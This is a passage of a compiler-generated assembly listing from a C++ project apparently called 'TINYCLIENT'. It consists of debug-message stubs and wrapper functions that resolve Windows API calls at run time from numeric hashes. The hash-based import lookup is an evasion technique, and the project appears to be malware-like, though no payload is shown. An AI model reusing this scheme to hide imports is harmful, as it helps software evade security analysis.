??$DBGOutMessage@PBDPBDPAD@TINYCLIENT@@YAXPBD0PAD@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAD@TINYCLIENT@@YAXPBD0PAD@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0FIPOHKLO@$0DG@IPAD@@YAPAXIPAD@Z ; pushargEx<1,1493072574,54,unsigned int,char *>
EXTRN	?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC		; GetProcAddressEx2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0FIPOHKLO@$0DG@IPAD@@YAPAXIPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0FIPOHKLO@$0DG@IPAD@@YAPAXIPAD@Z PROC	; pushargEx<1,1493072574,54,unsigned int,char *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 36		 push	 54			; 00000036H
  00002	68 be 7a fe 58	 push	 1493072574		; 58fe7abeH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0FIPOHKLO@$0DG@IPAD@@YAPAXIPAD@Z ENDP	; pushargEx<1,1493072574,54,unsigned int,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$0BD@$0PIGKKBPG@$0CBI@PADPAD@@YAPAXPAD0@Z ; pushargEx<19,4167737846,536,char *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$0BD@$0PIGKKBPG@$0CBI@PADPAD@@YAPAXPAD0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$0BD@$0PIGKKBPG@$0CBI@PADPAD@@YAPAXPAD0@Z PROC ; pushargEx<19,4167737846,536,char *,char *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 18 02 00 00	 push	 536			; 00000218H
  00005	68 f6 a1 6a f8	 push	 -127229450		; f86aa1f6H
  0000a	6a 13		 push	 19			; 00000013H
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$0BD@$0PIGKKBPG@$0CBI@PADPAD@@YAPAXPAD0@Z ENDP ; pushargEx<19,4167737846,536,char *,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD@TINYCLIENT@@YAXPBD0@Z	; TINYCLIENT::DBGOutMessage<char const *,char const *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD@TINYCLIENT@@YAXPBD0@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
??$DBGOutMessage@PBDPBD@TINYCLIENT@@YAXPBD0@Z PROC	; TINYCLIENT::DBGOutMessage<char const *,char const *>, COMDAT
; 66   : 	#ifdef DebugUtils
; 67   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str);
; 68   : 	#endif
; 69   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD@TINYCLIENT@@YAXPBD0@Z ENDP	; TINYCLIENT::DBGOutMessage<char const *,char const *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z PROC	; pushargEx<1,168244599,169,char *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 a9 00 00 00	 push	 169			; 000000a9H
  00005	68 77 35 07 0a	 push	 168244599		; 0a073577H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ENDP	; pushargEx<1,168244599,169,char *,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPA_W_JPA_W@TINYCLIENT@@YAXPBD0PA_W_J1@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64,wchar_t *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPA_W_JPA_W@TINYCLIENT@@YAXPBD0PA_W_J1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 8
_Arg3$ = 28						; size = 4
??$DBGOutMessage@PBDPBDPA_W_JPA_W@TINYCLIENT@@YAXPBD0PA_W_J1@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64,wchar_t *>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPA_W_JPA_W@TINYCLIENT@@YAXPBD0PA_W_J1@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64,wchar_t *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPA_W_J@TINYCLIENT@@YAXPBD0PA_W_J@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPA_W_J@TINYCLIENT@@YAXPBD0PA_W_J@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 8
??$DBGOutMessage@PBDPBDPA_W_J@TINYCLIENT@@YAXPBD0PA_W_J@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPA_W_J@TINYCLIENT@@YAXPBD0PA_W_J@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,__int64>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPAD@TINYCLIENT@@YAXPBDPAD@Z	; TINYCLIENT::DBGOutMessage<char const *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPAD@TINYCLIENT@@YAXPBDPAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
??$DBGOutMessage@PBDPAD@TINYCLIENT@@YAXPBDPAD@Z PROC	; TINYCLIENT::DBGOutMessage<char const *,char *>, COMDAT
; 66   : 	#ifdef DebugUtils
; 67   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str);
; 68   : 	#endif
; 69   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPAD@TINYCLIENT@@YAXPBDPAD@Z ENDP	; TINYCLIENT::DBGOutMessage<char const *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z	; pushargEx<1,1033466613,47,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z PROC	; pushargEx<1,1033466613,47,int>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ENDP	; pushargEx<1,1033466613,47,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAUHWND__@@PAD@TINYCLIENT@@YAXPBD0PAUHWND__@@PAD@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,HWND__ *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPAUHWND__@@PAD@TINYCLIENT@@YAXPBD0PAUHWND__@@PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPAUHWND__@@PAD@TINYCLIENT@@YAXPBD0PAUHWND__@@PAD@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,HWND__ *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAUHWND__@@PAD@TINYCLIENT@@YAXPBD0PAUHWND__@@PAD@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,HWND__ *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z PROC ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>, COMDAT
; 116  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C);
; 117  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 1c 01 00 00	 push	 284			; 0000011cH
  00005	68 32 55 8a ae	 push	 -1366665934		; ae8a5532H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 118  : 	return func(a1,a2,a3);
  00016	ff 74 24 0c	 push	 DWORD PTR _a3$[esp-4]
  0001a	ff 74 24 0c	 push	 DWORD PTR _a2$[esp]
  0001e	ff 74 24 0c	 push	 DWORD PTR _a1$[esp+4]
  00022	ff d0		 call	 eax
; 119  : }
  00024	c3		 ret	 0
??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z ENDP ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPA_WPA_WPA_W@TINYCLIENT@@YAXPBD0PA_W11@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,wchar_t *,wchar_t *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPA_WPA_WPA_W@TINYCLIENT@@YAXPBD0PA_W11@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 4
??$DBGOutMessage@PBDPBDPA_WPA_WPA_W@TINYCLIENT@@YAXPBD0PA_W11@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,wchar_t *,wchar_t *>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPA_WPA_WPA_W@TINYCLIENT@@YAXPBD0PA_W11@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *,wchar_t *,wchar_t *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPA_W@TINYCLIENT@@YAXPBD0PA_W@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPA_W@TINYCLIENT@@YAXPBD0PA_W@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPA_W@TINYCLIENT@@YAXPBD0PA_W@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPA_W@TINYCLIENT@@YAXPBD0PA_W@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KJNOGPFK@$0P@PAKHHPAK@@YAPAXPAKHH0@Z ; pushargEx<1,2849927002,15,unsigned long *,int,int,unsigned long *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0KJNOGPFK@$0P@PAKHHPAK@@YAPAXPAKHH0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0KJNOGPFK@$0P@PAKHHPAK@@YAPAXPAKHH0@Z PROC ; pushargEx<1,2849927002,15,unsigned long *,int,int,unsigned long *>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 0f		 push	 15			; 0000000fH
  00002	68 5a 6f de a9	 push	 -1445040294		; a9de6f5aH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00013	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  00017	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001b	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  0001f	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00023	ff d0		 call	 eax
; 127  : }
  00025	c3		 ret	 0
??$pushargEx@$00$0KJNOGPFK@$0P@PAKHHPAK@@YAPAXPAKHH0@Z ENDP ; pushargEx<1,2849927002,15,unsigned long *,int,int,unsigned long *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KJNOGPFK@$0P@PAKHKPAK@@YAPAXPAKHK0@Z ; pushargEx<1,2849927002,15,unsigned long *,int,unsigned long,unsigned long *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0KJNOGPFK@$0P@PAKHKPAK@@YAPAXPAKHK0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0KJNOGPFK@$0P@PAKHKPAK@@YAPAXPAKHK0@Z PROC ; pushargEx<1,2849927002,15,unsigned long *,int,unsigned long,unsigned long *>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 0f		 push	 15			; 0000000fH
  00002	68 5a 6f de a9	 push	 -1445040294		; a9de6f5aH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00013	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  00017	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001b	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  0001f	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00023	ff d0		 call	 eax
; 127  : }
  00025	c3		 ret	 0
??$pushargEx@$00$0KJNOGPFK@$0P@PAKHKPAK@@YAPAXPAKHK0@Z ENDP ; pushargEx<1,2849927002,15,unsigned long *,int,unsigned long,unsigned long *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAE@TINYCLIENT@@YAXPBD0PAE@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPAE@TINYCLIENT@@YAXPBD0PAE@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAE@TINYCLIENT@@YAXPBD0PAE@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned char *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAE@TINYCLIENT@@YAXPBD0PAE@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$0BD@$0OGODOOAB@$0CBF@PAD@@YAPAXPAD@Z ; pushargEx<19,3873697281,533,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$0BD@$0OGODOOAB@$0CBF@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$0BD@$0OGODOOAB@$0CBF@PAD@@YAPAXPAD@Z PROC	; pushargEx<19,3873697281,533,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 15 02 00 00	 push	 533			; 00000215H
  00005	68 01 ee e3 e6	 push	 -421270015		; e6e3ee01H
  0000a	6a 13		 push	 19			; 00000013H
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$0BD@$0OGODOOAB@$0CBF@PAD@@YAPAXPAD@Z ENDP	; pushargEx<19,3873697281,533,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_J_J@TINYCLIENT@@YAXPBD0_J1@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64,__int64>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD_J_J@TINYCLIENT@@YAXPBD0_J1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 8
_Arg2$ = 24						; size = 8
??$DBGOutMessage@PBDPBD_J_J@TINYCLIENT@@YAXPBD0_J1@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64,__int64>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_J_J@TINYCLIENT@@YAXPBD0_J1@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64,__int64>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPBDPAD@TINYCLIENT@@YAXPBD00PAD@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,char const *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPBDPAD@TINYCLIENT@@YAXPBD00PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPBDPAD@TINYCLIENT@@YAXPBD00PAD@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,char const *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPBDPAD@TINYCLIENT@@YAXPBD00PAD@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAD_J_J@TINYCLIENT@@YAXPBD0PAD_J2@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64,__int64>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPAD_J_J@TINYCLIENT@@YAXPBD0PAD_J2@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 8
_Arg3$ = 28						; size = 8
??$DBGOutMessage@PBDPBDPAD_J_J@TINYCLIENT@@YAXPBD0PAD_J2@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64,__int64>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAD_J_J@TINYCLIENT@@YAXPBD0PAD_J2@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64,__int64>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDGGF@TINYCLIENT@@YAXPBD0GGF@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned short,unsigned short,short>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDGGF@TINYCLIENT@@YAXPBD0GGF@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 2
_Arg2$ = 20						; size = 2
_Arg3$ = 24						; size = 2
??$DBGOutMessage@PBDPBDGGF@TINYCLIENT@@YAXPBD0GGF@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned short,unsigned short,short>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDGGF@TINYCLIENT@@YAXPBD0GGF@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,unsigned short,unsigned short,short>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD@TINYCLIENT@@YAXPBD0PAD1@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPADPAD@TINYCLIENT@@YAXPBD0PAD1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADPAD@TINYCLIENT@@YAXPBD0PAD1@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPAD@TINYCLIENT@@YAXPBD0PAD1@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAD_J@TINYCLIENT@@YAXPBD0PAD_J@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPAD_J@TINYCLIENT@@YAXPBD0PAD_J@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 8
??$DBGOutMessage@PBDPBDPAD_J@TINYCLIENT@@YAXPBD0PAD_J@Z PROC ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAD_J@TINYCLIENT@@YAXPBD0PAD_J@Z ENDP ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *,__int64>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_J@TINYCLIENT@@YAXPBD0_J@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBD_J@TINYCLIENT@@YAXPBD0_J@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
